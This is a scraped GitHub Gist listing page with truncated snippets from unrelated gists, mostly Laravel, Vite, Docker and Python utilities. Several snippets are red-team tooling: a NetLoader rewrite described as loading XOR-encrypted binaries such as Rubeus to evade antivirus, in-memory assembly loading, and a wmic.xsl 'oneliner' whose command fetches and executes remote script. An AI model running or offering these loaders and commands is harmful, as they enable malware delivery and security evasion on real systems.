Skip to content

Instantly share code, notes, and snippets.

@lucacastelnuovo
lucacastelnuovo / HasRoles.php
Created July 28, 2023 21:38
Filament V3 multi-tenancy & laravel-permission role helper
<?php
namespace App\Models\Support;
use App\Models\Tenant;
use Illuminate\Database\Eloquent\Relations\BelongsToMany;
use Spatie\Permission\Traits\HasRoles as SpatieHasRoles;
trait HasRoles
{
@innocenzi
innocenzi / package.json
Last active April 1, 2023 13:01
Laravel + Vite + Inertia SSR
{
"scripts": {
"dev": "npx esno server.ts",
"build": "vite build",
"build:ssr": "vite build --ssr",
"build:all": "npm run build && npm run build:ssr"
}
}
@innocenzi
innocenzi / README.md
Last active November 21, 2022 13:41
Vite + Inertia SSR

package.json:

{
  "scripts": {
    "dev": "vite",
    "dev:server": "node public/build/server/server.js",
    "build": "vite build",
    "build:server": "vite build --outDir ./public/build/server --ssr ./resources/scripts/inertia/server.ts"
  }
}
@Arno0x
Arno0x / NetLoader.cs
Last active October 12, 2023 23:19
Partial rewrite of @Flangvik NetLoader. Supports proxy with authentication, XOR encrypted binaries, multiple arguments passing to binary.
/*
Author: Arno0x0x, Twitter: @Arno0x0x
Completely based on @Flangvik netloader
This partial rewrite of @Flangvik Netloader includes the following changes:
- Allow loading of an XOR encrypted binary to bypass antiviruses
To encrypt the initial binary you can use my Python transformFile.py script.
Example: ./transformFile.py -e xor -k mightyduck -i Rubeus.bin -o Rubeus.xor
#!/bin/bash
# Make a PDF look scanned.
# Extracted from https://github.com/baicunko/scanyourpdf and modified for smaller output files (compression lower density).
INPUT_FILE=$1
/usr/local/bin/convert -density '80' ${INPUT_FILE} -colorspace 'gray' -linear-stretch '3.5%x10%' \
-blur '0x0.5' -attenuate '0.25' +noise Gaussian -rotate 0.5 \
-compress lzw -quality 50 scanned_${INPUT_FILE}
@jensmeder
jensmeder / Dockerfile
Last active June 20, 2023 13:39
Hello World Example For Wine Mono Running in Ubuntu Docker Container
##########################################################
### ###
### The build stage that compiles the exe file ###
### ###
##########################################################
FROM ubuntu:18.04 as build_stage
# Install wget
RUN apt-get update
@jarodsmk
jarodsmk / orient.py
Created September 23, 2019 11:51
Correct text-image orientation with Python/Tesseract/OpenCV
import cv2
import pytesseract
import urllib
import numpy as np
import re
# Installs: https://www.learnopencv.com/deep-learning-based-text-recognition-ocr-using-tesseract-and-opencv/
if __name__ == '__main__':
@Arno0x
Arno0x / TestAssembly.cs
Last active May 19, 2024 11:37
This code shows how to load a CLR in an unmanaged process, then load an assembly from memory (not from a file) and execute a method
/*
================================ Compile as a .Net DLL ==============================
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library /out:TestAssembly.dll TestAssembly.cs
*/
using System.Windows.Forms;
namespace TestNamespace
@fabricecw
fabricecw / migration_permission_update_v1_to_v2.php
Last active June 8, 2023 21:45
Update spatie/laravel permission tables from V1 to V2
<?php
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Schema;
use Illuminate\Database\Schema\Blueprint;
use Illuminate\Database\Migrations\Migration;
class PermissionUpdateV1ToV2 extends Migration
{
/**
* Run the migrations.
*
@Arno0x
Arno0x / wmic.xsl
Created April 18, 2018 08:41
Oneliner for arbitrary code download and execution
<?xml version='1.0'?>
<!-- Discovered by @SubTee and @mattifestation -->
<!-- Execute with: wmic os get /format:"https://webserver/wmic.xsl" -->
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"/>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[